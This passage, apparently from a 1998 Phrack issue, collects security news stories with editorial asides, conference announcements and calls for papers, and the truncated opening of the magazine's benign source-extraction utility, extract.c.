"There's no one tool to solve all the security problems throughout your network," says Jim Patterson, vice president of security and telecommunications at Oppenheimer Funds, in Denver...

[snip...]

0x1a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hackers' Dark Side Gets Even Darker

Author: Douglas Hayward

LONDON ‑‑ The hacker community is splitting into a series of distinct cultural groups ‑‑ some of which are becoming dangerous to businesses and a potential threat to national security, an official of Europe's largest defense research agency warned Thursday. New types of malicious hackers are evolving who use other hackers to do their dirty work, said Alan Hood, a research scientist in the information warfare unit of Britain's Defense Evaluation and Research Agency (DERA).

Two of the most dangerous types of malicious hackers are information brokers and meta‑hackers, said Hood, whose agency develops security systems for the British military. Information brokers commission and pay hackers to steal information, then resell the information to foreign governments or business rivals of the target organizations.

Meta‑hackers are sophisticated hackers who monitor other hackers without being noticed, and then exploit the vulnerabilities identified by these hackers they are monitoring. A sophisticate meta‑hacker effectively uses other hackers as tools to attack networks. "Meta‑hackers are one of the most sinister things I have run into," Hood said. "They scare the hell out of me."

[Great.. more terms and lousy journalism..]

DERA is also concerned that terrorist and criminal gangs are preparing to use hacking techniques to neutralize military, police and security services, Hood said.

[Criminal gangs.. oooh...]

[snip... lame stereotype crap]

0x1b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Japan Fears It's Becoming a Base for Hackers

Source: Daily Yomiuri On‑Line

Author: Douglas Hayward

Date: 4/29/98

To fill in legal loopholes that have caused an increase in unauthorized computer access, the National Police Agency has set up a group of experts to study how to prevent Internet crimes.

Unlike Europe and the United States, Japan has no law prohibiting unauthorized access to computers through the Internet. There has been a stream of reports of anonymous hackers accessing corporate servers.

[Gee, they have no laws making hacking illegal, and they wonder why they are becoming a base for hackers? Bright.]

[snip...]

The Japan Computer Emergency Response Team Coordination Center has been studying cases of unauthorized access through the Net, and found a total of 644 from the time of the center's establishment in October 1996 to last month.

Meanwhile, police uncovered 101 high‑tech crimes in 1997, three times as many as in the previous year.

0x1c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Kevin Mitnick Hacker Case Drags On and On

Source: ZDTV

Author: Kevin Poulsen

Date: 4/28/98

[If you haven't visited, go to www.kevinmitnick.com right now.]

LOS ANGELES‑‑ "Now, have we made any progress here?"

With those words, Judge Mariana Pfaelzer opened the latest hearing in the Kevin Mitnick case in L.A.'s U.S. District Court Monday. She might as well have said, "Let's get ready to rumble."

It's now been more than three years since a dramatic electronic manhunt ended with Mitnick's arrest, national headlines, books and movie deals.

Since then, the excitement has faded. The books oversaturated the market; the movies never got made. And the once fast‑paced story of a compulsive hacker with a goofy sense of humor is mired in its epilogue: the slow ride to disposition over the speed‑bumps of the federal justice system.

[snip...]

But only some of it. The government wants to keep a tight lid on the "proprietary" software in the case, and on what it calls "hacker tools." The defense can review these files, but they can't have their own copies for analysis.

[snip...]

If the evidence was in paper form, the government would have probably agreed. But Painter says that with electronic evidence, "it's too easy for this to be disseminated by the defendants."

In other words, the government doesn't want the data to show up on a Web site in Antigua.

[snip...]

0x1d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Millions Lost to Phone Hackers

Author: Andrew Probyn

MILLIONS of dollars are being ripped off phone users in Australia by hackers using increasingly elaborate phone scams. Households, businesses and mobile phone users have become victims of widespread and systematic phone fraud.

[Hackers using phone scams?]

As carriers Telstra and Optus make advances in protecting their telecommunications networks, hackers are increasingly adept at breaking their security codes to rip off users.

The Herald Sun has discovered many cases of billing discrepancies blamed on hackers, including one householder charged $10,000 for calls he said he never made.

A Herald Sun investigation has also shown: SEX calls to chat lines in the United States, Guyana, the Dominican Republic, Russia, Chile and the Seychelles are commonly charged to other people's accounts. HACKERS can divert their Internet, local and international call costs without detection.

[Why do I think they are using 'hackers' for any sex‑fiend that stole a code?]

[snip...]

"Hacking could be costing consumers in the region of millions of dollars," he said. "Some of these calls are very expensive ‑ sex calls, for example, can be up to $30 just to be connected."

[snip...]

0x1e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hackers on the Hill

Author: Annaliza Savage

[FINALLY...get some incredible hackers up there to school these weenies. Go l0pht!]

Seven hackers will face the Senate Government Affairs Committee Tuesday. But they aren't in any trouble.

The seven hackers have been invited by Senator Fred Thompson (R‑Tenn.)‑the sometime‑actor you may remember from such films as The Hunt For Red October and Die Hard 2‑‑ to testify about the state of the US Government's computer networks.

The seven‑‑ Mudge, King Pin, Brian Oblivian, Space Rouge, Weld Pond, Tan and Stefan‑‑ are all members of the L0pht, a hacker hangout in Boston, and have been part of the hacker underground for years.

"We were surprised to get an email from a senator's aide. We have had some contacts with law enforcement over the years, but this was something completely different," said Weld Pond.

[snip...]

"We are trying to return the label hacker to the badge of honor it used to be in the old days. A word that means knowledge and skill, not criminal or script‑kiddies, as it does in the popular press today," Weld Pond said.

[snip...]

When Thompson's aide, John Pede, showed up at the L0pht to discuss the Senate hearings with the group, the irony of the visit wasn't wasted on hackers. Weld Pond explained: "We thought about blindfolding him on the way over here but decided against it in the end. The visit was a little uncomfortable. When the FBI has reporters visit them they clean up quite a bit and keep an eagle eye on the visitors. This was no different except the tables were turned."

Mudge was glad to be able to show off the l0pht to the men in suits. "We actually enjoyed having the government officials over. It's a wonderful sight when we bring guests over to the l0pht and their jaws drop on the floor after seeing all of the stuff we have managed to engineer and get working. Especially when they realize it has all been without any formal funding."

[snip...]

0x1f>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: RSA Sues Network Associates

Source: CNET NEWS.COM

Author: Tim Clark

Date: 5.20.98

RSA Data Security is seeking to bar Network Associates from shipping any Trusted Information Systems software that uses RSA encryption technology.

[Nyah nyah!]

Earlier this year, Network Associates acquired TIS, licensed by RSA to use its encryption algorithms in TIS virtual private network software. RSA is a wholly owned subsidiary of Security Dynamics.

[snip...]

"RSA is a company based on intellectual property," said Paul Livesay, RSA's general counsel. "Right now we perceive Network Associates as having an approach to doing business by acquiring companies and ignoring third‑party agreements, so why would we want to assign the license to TIS to a party that operates in that manner?"

0x20>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Clinton to Outline Cyberthreat Policy

Source: CNET NEWS.COM

Author: Tim Clark

Date: 5.21.98

In a commencement speech at the U.S. Naval Academy tomorrow, President Clinton is expected to highlight cyberthreats to the nation's electronic infrastructure, both from deliberate sabotage and from accidents such as the satellite outage that silenced pagers across the nation this week.

Clinton also is expected to outline two new security directives, one aimed at traditional terrorism and the other at cyberthreats. The cyberthreats directive follows last year's report from the Presidential Commission on Critical Infrastructure Protection.

[snip...]

"Clinton will announce a new policy for cyberterrorism based on the recommendations of the commission, stressing the fact that we need private‑sector help to solve this problem, since the private sector owns 80 to 90 percent of the nation's infrastructure," said P. Dennis LeNard Jr., deputy public affairs officer at PCCIP. Under the new policy, that agency will become the Critical Infrastructure Assurance Office, or CIAO.

Clinton also is expected to order federal agencies to come up with a plan within three to five years that identifies vulnerabilities of the nation's infrastructure and responses to attacks as well as creating a plan to reconstitute the U.S. defense system and economy if a cyberattack succeeds, said a former White House staffer familiar with Clinton's speech.

[Three to five years.. how.. timely.]

[snip...]

"The Department of Justice is not keen on sharing information that could lead to criminal prosecutions," the official said. "The private sector does not trust the FBI, and the FBI doesn't want to give out secrets. They're afraid that if they share information, they may someday have to testify in court."

0x21>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Programmer Sentenced for Military Computer Intrusion Source: CNN

Date: 5.25.98

DAYTON, Ohio (AP)‑ A computer programmer was sentenced to six months at a halfway house for gaining access to a military computer that tracks Air Force aircraft and missile systems.

Steven Liu, 24, was also fined $5,000 Friday after pleading guilty to exceeding authorized access to a computer.

Liu, a Chinese national who worked for a military contractor in Dayton, downloaded passwords from a $148 million database at Wright‑Patterson Air Force Base. He said he accidentally discovered the password file and used it to try to find his job‑performance evaluation.

[snip...]

0x22>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Editorial ‑ Hacker vs Cracker, Revisited

Source: OTC: Chicago, Illinois

Author: Bob Woods

Date: 5.22.98

Newsbytes. If a person talks about or writes a news story regarding a hacker, one creates an image that is perpetuated in a Network Associates TV ad: the heavily tattooed, ratty looking cyberpunk who breaks into systems and posts proprietary information on the Internet for the same reason "why (I) pierce (my) tongue." The big problem, though, is that person is more accurately described as a "cracker," not a "hacker."

ZDTV CyberCrime correspondent Alex Wellen said earlier this week that "cracker" is gaining acceptance in the media ‑‑ and quoted an old column of mine in the process. Because of this unexpected exposure, I decided to take a second look at my old work.

First, here's the text of my January 23, 1996 column:

Our readers have their hackles up when hacker is mentioned in our stories. "Hackers," they argue, are good people who just want to learn everything about a computer system, while "crackers" are the ones who are breaking into computer systems illegally.

The problem arises when the public and people who shape society get a hold of terms like "hacker" ‑‑ a word once viewed as non‑threatening, but is now turned into a name that conjures up visions of altered World Wide Web pages and crashed computer systems.

"Que's Computer and Internet Dictionary, 6th Edition," by Dr. Bryan Pfaffenberger with David Wall, defines a hacker as "A computer enthusiast who enjoys learning everything about a computer system and, through clever programming, pushing the system to its highest possible level of performance." But during the 1980s, "the press redefined the term to include hobbyists who break into secured computer systems," Pfaffenberger wrote.

At one time hackers ‑‑ the "good" kind ‑‑ abided by the "hacker ethic," which said "all technical information should, in principle, be freely available to all. Therefore gaining entry to a system to explore data and increase knowledge is never unethical," according to the Que dictionary.

These ethics applied to the first‑generation hacker community, which Que said existed from roughly 1965 to 1982. While some of those people do still exist, many other people who describe themselves as "hackers" are a part of the current generation of people who "destroy, alter, or move data in such a way that could cause injury or expense" ‑‑ actions that are against the hacker ethic, Que's dictionary said. Many of those actions are also against the law.

Today's hacker generation ‑‑ the ones bent on destruction ‑‑ are more accurately called "crackers." Que defines such a person as "A computer hobbyist who gets kicks from gaining unauthorized access to computer systems. Cracking is a silly, egotistical game in which the object is to defeat even the most secure computer systems. Although many crackers do little more than leave a 'calling card' to prove their victory, some attempt to steal credit card information or destroy data. Whether or not they commit a crime, all crackers injure legitimate computer users by consuming the time of system administrators and making computer resources more difficult to access."

Here's the rub: whenever the media, including Newsbytes, uses the term "hacker," we are hit with complaints about the term's usage. E‑mails to us usually say "I'm a hacker, yet I don't destroy anything." In other words, the people who write us and other media outlets are a part of the first generation of hackers.

But the media reflects society as much as, if not more than, they change or alter it. Today's culture thinks of hackers as people who destroy or damage computer systems, or ones who "hack into" computers to obtain information normal people cannot access. While it's probably the media's fault, there's no going back now ‑‑ hackers are now the same people as crackers.

Besides, if a person outside of the computer biz called someone a cracker, images of Saltines or a crazy person or an investigator in a popular British television series would probably come to mind. For most people on the street, the last thing they would think of is a person they know as a hacker.

So, what's to be done about the situation? Not a whole heck of a lot, unfortunately. The damage is done. If more people in the "general public" and the "mainstream media" read this news service and saw this article, some headway might be made. But even if they did, cultural attitudes and thoughts are very difficult to change. For those people in the US ‑remember New Coke? Or the metric system? If you're outside the US, can you imagine calling football "soccer?"

And to the first generation of hackers ‑‑ those of us "in the know" in this industry do know about you. When we report on hackers nowadays, we're not talking about you, and we do not mean to insult you. Honest.

=== Today's Opinion

Okay, so that last paragraph was a bit on the hokey side. Alright, so it was really hokey. But from what I remember, we had been getting quite a few angry e‑mails at the time regarding our usage of "hacker," and I was trying to do a bit of damage control. But if memory serves me correctly, we received a couple of "nice try" letters after we published the editorial. Nice try? Well, I thought it was.

But, was it a "safe" editorial? Sure. But it was ‑‑ and still is ‑also "safe" to just write about "hackers" and offend a few people, rather than use the term "cracker" and leave a bunch of people scratching their heads over what the heck a "cracker" even was.

While I'm seeing "cracker" more and more in computer‑related publications (unfortunately, though, not in ours as much as I'd like to see) these days, the term is sorely lacking in the widely read/viewed/listened‑to media outlets.

I'll take the liberty of quoting what ZDTV's Wellen quoted me as saying two years ago: "If more people in the 'general public' and the 'mainstream media' read this news service and saw this article, some headway might be made (in accurately calling people crackers instead of hackers)."

Now, I can see a mainstream media‑type ‑‑ I used to be one of these people, by the way ‑‑ wondering how in the heck can they get their average seventh‑grade audience to understand that a cracker is different from a hacker. It's easy for us computer/IT journalist types to write to our expectations of our audience, because it is generally pretty much like us.

The answer, though, is pretty easy. Here's an example:

"Two teenage hackers, more accurately known as 'crackers,' illegally entered into the Pentagon's computer system and took it out in an overnight attack." The real trick, then, is to never again use "hacker" in the story. Just use "cracker." Your audience will pick up on this, especially if you do it in all of your stories. I promise.

So there. My unwieldy media consulting bill is now in the mail to all of the non‑computing local and national media outlets.

0x23>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Windows NT Security Under Fire

Author: Chris Oakes

Date: 6.1.98

Listen to security expert and consultant Bruce Schneier and he'll tell you that Windows NT's security mechanism for running virtual private networks is so weak as to be unusable. Microsoft counters that the issues Schneier points out have mostly been addressed by software updates or are too theoretical to be of major concern.

Schneier, who runs a security consulting firm in Minneapolis, says his in‑depth "cryptanalysis" of Microsoft's implementation of the Point‑to‑Point Tunneling Protocol (PPTP) reveals fundamentally flawed security techniques that dramatically compromise the security of company information.

"PPTP is a generic protocol that will support any encryption. We broke the Microsoft‑defined [encryption] algorithms, and also the Microsoft control channel." However, he said he was unaware of some of Microsoft's NT 4.0 updates when he ran his tests.

With relative ease, intruders can exploit the flaws, Schneier said, which he summarizes as weak authentication and poor encryption implementation. The result is that passwords can be easily compromised, private information can be disclosed, and servers used to host a virtual private network, or VPN, can be disabled through denial‑of‑service attacks, Schneier said.

It's kindergarten cryptography. These are dumb mistakes," Schneier said.

In letting companies use the public Internet as a means for establishing "private" company networks, VPN products use the protocol to establish the "virtual" connections between remote computers.

PPTP secures the packets sent via the Internet by encapsulating them in other packets. Encryption is used to further secure the data contained in the packets. It is the scheme Microsoft uses for this encryption that Schneier says is flawed.

Specifically, Schneier's analysis found flaws that would let an attacker "sniff" passwords as they travel across a network, break open an encryption scheme, and mount denial‑of‑service attacks on network servers, which render them inoperable. Confidential data is therefore compromised, he said.

The nature of the flaws varied, but Schneier identified five primary ones. For example, Schneier found a method of scrambling passwords into a code ‑‑ a rough description of "hashing" ‑‑ to be simple enough that the code is easily broken. Though 128‑bit "keys" can be used to access the encryption feature of the software, Schneier said the simple password‑based keys that it allows can be so short that information could be decrypted by figuring out what may be very simple passwords, such as a person's middle name.

"This is really surprising. Microsoft has good cryptographers in their employ." The problem, he said, is that they're not adequately involved in product development.

Schneier emphasized that no flaws were found in the PPTP protocol itself, but in the Windows NT version of it. Alternate versions are used on other systems such as Linux‑based servers.

Microsoft's implementation is "only buzzword‑compliant," Schneier said. "It doesn't use [important security features like 128‑bit encryption] well."

Windows NT has in the past been the object of several security complaints, including denial‑of‑service vulnerabilities.

Microsoft says the five primary weaknesses Schneier has called attention to are either theoretical in nature, previously discovered, and/or have been addressed by recent updates to the operating system software.

"There's really not much in the way of news here," said Kevin Kean, an NT product manager at Microsoft. "People point out security issues with the product all the time.

"We're on our way to enhancing our product to take care of some of these situations already," Kean said.

He acknowledged that the password hashing had been fairly simple, but that updates have used a more secure hashing algorithm. He also contends that even a weak hashing can be relatively secure.

The issue of using simple passwords as encryption keys is relevant to individual company policy more than Microsoft's product. A company that has a policy requiring employees to use long, more complex passwords can ensure that their network encryption is more secure. An update to the product, Kean said, lets administrators require a long password from company employees.

On another issue, where a "rogue" server could fool a virtual private network into thinking it was a legitimate node on the network, Karan Khanna, a Windows NT product manager, said while that was possible, the server would only intercept of a "stream of gobbledygook" unless the attacker had also cracked the encryption scheme. That and other issues require a fairly difficult set of conditions, including the ability to collect the diverging paths of VPN packets onto a server, to come into place.

For that reason, Microsoft insists its product offers a reasonable level of security for virtual private networks, and that upcoming versions of the software will make it stronger.

Windows NT security expert Russ Cooper, who runs a mailing list that monitors problems with Windows NT, agrees with Microsoft that most of Schneier's findings have been previously turned up and discussed in forums like his. What Schneier has done is tested some of them, he said, and proven their existence.

But he points out that fixes for the problems have only recently been released, outdating Schneier's tests. The problems may not have been all successfully addressed by the fixes, Cooper said, but represent an unknown that may negate some of Schneier's findings.

On Schneier's side, however, Cooper agrees that it typically takes publicity of such weaknesses to get Microsoft to release fixes. "Folks need to get better response from Microsoft in terms of security," Cooper said.

He also added support to a point that Schneier makes ‑‑ that Microsoft treats security more casually than other issues because it has no impact on profit.

"Microsoft doesn't care about security because I don't believe they think it affects their profit. And honestly, it probably doesn't." Cooper believes this is part of what keeps them from hiring enough security personnel.

Microsoft vehemently contests the charge. Microsoft's Khanna said in preparing the next release of the operating system, the company has installed a team to attack NT, an effort meant to find security problems before the product is released.

And, Microsoft reminds us, no product is totally secure. "Security is a continuum," Microsoft's Kean said. "You can go from totally insecure to what the CIA might consider secure." The security issue at hand, he said, lies within a reasonable point on that continuum.

0x24>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: New Decoy Technology Designed to Sting Hackers

Source: ZDNet

Author: Mel Duvall

There was a sweet bonus for Network Associates Inc. in its recent acquisition of intrusion detection company Secure Networks Inc. The security vendor gained access to a new technology that is designed to sting hackers, not just keep them out.

Secure Networks is developing a product, code‑named Honey Pot, that is essentially a decoy network within a network. The idea is to lure hackers into the decoy, like flies to a honey pot, to gain as much information about their hacking techniques and identity as possible.

"It's a virtual network in every way, with one exception ‑ it doesn't exist," Secure Networks President Arthur Wong said.

The product is unusual in that it acknowledges a fact of life few companies are willing to admit ‑ that hackers can and do break into corporate networks.

Tom Claire, director of product management at Network Associates, said after years of denying the problem exists, companies are beginning to take intrusion detection seriously.

"Now they're starting to say, maybe I can watch what hackers are doing in my network and find out what they're after and how they do it," he said. "Then they can use that knowledge to make their systems better."

The seriousness of the issue was underscored last week with reports that America Online Inc. was suffering from a series of attacks during which hackers gained access to subscriber and AOL staff accounts. The intruders appeared to gain access by tricking AOL customer service representatives into resetting passwords, based on information they obtained by looking at member profiles.

Honey Pot, which is due to be released in the fourth quarter, draws hackers in by appearing to offer access to sensitive data.

Once into the dummy network, hackers spend their time trolling through fake files, while the software gains information about their habits and tries to trace their source.

Wong said it's unlikely a hacker's identity can be obtained after one visit to the Honey Pot, but once a hacker breaks into a system, he or she tends to come back for more.

"It's like tracing a phone call ‑ the more they return, the more you can narrow down their identity," Wong said.

Larry Dietz, a security analyst at Zona Research Inc., said another security company, Secure Computing Corp., built offensive capabilities into its Sidewinder firewall as early as 1996, but "strike back" technologies, such as Honey Pot, are still relatively unused in the corporate market.

"It's a good idea if you have a sophisticated user that knows what to do with the technology," Dietz said. "But how many companies have the staff or the expertise to be security cops?"

0x25>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Reno dedicates high‑tech crime fighting center

Source: Knight Ridder

Author: Clif leblanc

COLUMBIA, S.C. ‑‑ With the grandeur of a French royal palace, the nation's first school for prosecutors was dedicated Monday with a challenge from U.S. Attorney Janet Reno to fight 21st century electronic crime.

``When a man can sit in St. Petersburg, Russia, and steal from a New York bank with wire transfers, you know you've got a problem,'' Reno told a conference room full of dignitaries at the National Advocacy Center.

She said the high‑tech equipment the center on the University of South Carolina campus offers will allow prosecutors to ``fight those who would use cyber tools to invade us.''

An estimated 10,000 federal, state and local prosecutors annually will learn from the nation's best government lawyers at the $26 million center, which takes up about 262,000 square feet and has 264 dormitory rooms for prosecutors in training. Students ‑‑ practicing prosecutors from across the nation ‑‑ will be taught to use digital wizardry and conventional classroom training to win convictions against computer criminals, health care frauds, employers who discriminate and run‑of‑the‑mill offenders.

The center is a unique facility dreamed up 17 years ago by then‑U.S. Attorney General Griffin Bell so government lawyers at all levels could learn to prosecute crime better.

Reno, formerly a state prosecutor in Dade County, Fla., said she was especially happy the center will help state and local prosecuting attorneys, too. ``I'm a child of the state court system,'' she said. ``It is my hope that this institution can lead the way in properly defining the roles of state and local ... law enforcement.''

About 95 percent of all prosecutions in the nation are by local prosecuting attorneys, said William L. Murphy, president of the National District Attorneys Association, who attended Monday's opening.

Reno said she also wants the center to tap into University of South Carolina faculty to teach prosecutors about office management, budgeting, alternatives to litigation and even to find better ways for citizens and police to work together to fight crime.

``We can all blaze a trail to make government responsible to its people and still make people accountable,'' Reno said in a 15‑minute dedication speech.

If the center works as she envisions it, federal prosecutors will get better at trying capital cases, and DNA evidence will reduce the chances that innocent people will be wrongly convicted, Reno said.

In her third trip to Columbia, Reno joked good reports from students trained at the center have put a stop to early complaints of ``who wants to go to Columbia?''

Reno thanked Sen. Fritz Hollings for pushing the idea of the center. She recalled that in their first meeting Hollings confronted her with a Forbes magazine article that reported the Justice Department was too big, ``and there was this little center he wanted to talk about.''

USC President John Palms said when Hollings first approached him about placing the center at the school, Palms' immediate answer was: ``Whatever it is, yes.''

But the center has a much bigger role for USC, Palms said. He described the dedication as, ``an event that's probably as important as anything that's ever happened at the university.''

Hollings, who is seeking re‑election to a seventh term in the U.S. Senate, jokingly described the finished facility as, ``a little Versailles.'' The 1,300‑room Palace of Versailles was the opulent home of the French royal family for more than 100 years.

``This is the most beautiful building the government has ever built,'' Hollings said.

``We've got the best of the best for America's prosecutors,'' Hollings said. ``Now it's up to us to produce the best.'' [Image]

0x26>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Man poses as astronaut steals NASA secrets

Source: Reuters

Date: 6.4.98

HOUSTON (Reuters) [6.4.98] ‑ A licensed airline pilot posing as an astronaut bluffed his way into a top‑security NASA facility and got secret information on the space shuttle during an eight‑month deception, federal prosecutors said Wednesday.

Jerry Alan Whittredge, 48, faces up to five years in jail and a $250,000 fine for misrepresenting himself as a federal employee, the U.S. Attorney's Office for Southern Texas said.

Whittredge contacted NASA's Marshall Space Center in Huntsville, Alabama, in November, claiming he had been chosen for a space shuttle mission and requesting a tour of the facility.

According to an affidavit by NASA special agent Joseph Gutheinz, Whittredge told NASA officials that he was a CIA agent and held the Medal of Honor.

On the basis of his false credentials he was granted a tour on Nov. 21 and 22.

"Mr. Whittredge was permitted to sit at the console of NASA Mission Control (NASA's most secure area) at Marshall Space Flight Center during a shuttle mission," the affidavit said.

In March Whittredge tricked NASA into giving him confidential information about the shuttle's propulsion system and in May he hoodwinked officials at Kingsville Naval Air Station in Texas into giving him training on a T‑45 flight simulator.

Gutheinz said Whittredge had most recently been living in Texas but did not appear to be employed there and that he also had a permanent address in Florida.

Whittredge made an initial appearance in court on Tuesday and is due to attend a bond hearing on Friday.

0x27>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DEF CON 6.0 Convention Announcement #1.00 (03.27.98) July 31‑August 2 @ The Plaza Hotel and Casino in Las Vegas

IN SHORT:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WHAT: Speakers & partying in Vegas for hackers from the world over. WHEN: July 31st ‑ August 2nd

WHERE: Las Vegas, Nevada @ The Plaza Hotel and Casino COSTS: $40 at the door

MORE INFO: http://www.defcon.org/ or email info@defcon.org

0x28>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Network Security Solutions Conference Announcement

July 29th and 30th, Las Vegas Nevada

****************** Call For Papers Announcement ***************************

Network Security Solutions is now accepting papers for its 1998 event. Papers and requests to speak will be received and reviewed from March 24th until June 1st. Please submit an outline on a self selected topic covering either the problems or solutions surrounding network security. Topics of interest include Intrusion Detection Systems (IDS), distributed languages, network design, authentication systems, perimeter protection, and more. Talks will be an hour with a half hour for Q&A. There will be LCD projectors, overhead, and slide projectors.

Updated announcements will be posted to newsgroups, security mailing lists, email, or visit the website at http://www.blackhat.com/

0x29>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Program Chair, Win Treese of Open Market, Inc., and the Program Committee announce the availability of the Call for Papers for:

8th USENIX Security Symposium

August 23‑26, 1999

Marriott Hotel, Washington, D.C.

Sponsored by USENIX, the Advanced Computing Systems Association In cooperation with The CERT Coordination Center

========================================

IMPORTANT DATES FOR REFEREED PAPERS

Paper submissions due: March 16, 1999

Author notification: April 21, 1999

Camera‑ready final papers due: July 12, 1999

========================================

If you are interested in submitting a paper to the committee, proposing an Invited Talk, or proposing a tutorial, you can find the Call for Papers at http://www.usenix.org/events/sec99/cfp.html.

The USENIX Security Symposium brings together researchers, practitioners, system administrators, system programmers, and others interested in the latest advances in security and applications of cryptography.

Symposium topics include:

Adaptive security and system management

Analysis of malicious code

Applications of cryptographic techniques

Attacks against networks and machines Authentication & authorization of users, systems & applications Detecting attacks, intrusions, and computer misuse Developing secure systems

File and file system security

Network security

New firewall technologies

Public key infrastructure

Security in heterogeneous environments

Security incident investigation and response Security of agents and mobile code

Technology for rights management & copyright protection World Wide Web security

========================================

USENIX is the Advanced Computing Systems Association. Its members are the computer technologists responsible for many of the innovations in computing we enjoy today. To find out more about USENIX, visit its web site: http://www.usenix.org.

0x2a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Last Call For Participation ‑ RAID 98

(also available at http://www.zurich.ibm.com/~dac/RAID98)

First International Workshop on the Recent Advances in Intrusion Detection

September 14‑15, 1998 Louvain‑la‑Neuve, Belgium

We solicit your participation in the first International Workshop on the Recent Advances in Intrusion Detection (RAID 98).

This workshop, the first in an anticipated annual series, will bring together leading figures from academia, government, and industry to talk about the current state of intrusion detection technologies and paradigms from the research and commercial perspectives.

We have scheduled RAID 98 immediately before ESORICS 98, at the same time as CARDIS 98, and at the same location as both of these conferences. This provides a unique opportunity for the members of these distinct, yet related, communities to participate in all these events and meet and share ideas during joined organized external events.

The RAID 98 web site: http://www.zurich.ibm.com/~dac/RAID98,

The ESORICS 98 web site: http://www.dice.ucl.ac.be/esorics98.

The CARDIS 98 web site: http://www.dice.ucl.ac.be/cardis98/

0x2b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Computer Security Area (ASC) / DGSCA

DISC 98

"Individual Responsability"

Fifth Computer Security Event In Mexico

Mexico, D.F. November 2‑6, 1998

========================================

C A L L F O R P A P E R S

The goal of DISC 98 event is to create a conscience about the strategies of security to protect information between the community who uses computers. This year the DISC belongs to the most important events of Mexico.

The computing general congress (http://www.org.org.mx/cuarenta)

celebrates forty years of computing in Mexico and convoques those specialist in computer sucurity to participate on this as lecture.

"Individual responsability" is the slogan of this year and suggest that the security of an organization should be totally supported by directive, security responsables, managers, and system's users.

WWW : http://www.asc.unam.mx/disc98

0x2c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C A L L F O R P A P E R S

Assurance for the Global Convergence:

Enterprise, Infrastructure and Information Operations

InfoWarCon‑9

Mount Royal Hotel, London, UK

December 7‑9

December 7 ‑ Tutorials

December 8‑9 General Session.

Sponsors:

MIS Training Institute ‑ www.misti.com

Winn Schwartau, Interpact, Inc. ‑ www.infowar.com

For more information contact: Voice: 508.879.7999 Fax: 508.872.1153 Exhibitors & Sponsorship: Adam Lennon ‑ Alennon@misti.com Attendance & Registration: www.misti.com

extract.c

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 15 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Phrack Magzine Extraction Utility

‑‑‑‑‑‑‑‑[ Phrack Staff

Neat0! A python version! Thanks to Timmy 2tone <_spoon_@usa.net>. By all means, keep sending new versions on in.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑CUT‑HERE‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> EX/PMEU/extract2.c

/* extract.c by Phrack Staff and sirsyko

*

* (c) Phrack Magazine, 1997

* 1.8.98 rewritten by route:

* ‑ aesthetics

* ‑ now accepts file globs

* todo:

* ‑ more info in tag header (file mode, checksum)

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory strcuture. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* gcc ‑o extract extract.c

*

* ./extract file1 file2 file3 ...

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <string.h>

#include <dirent.h>

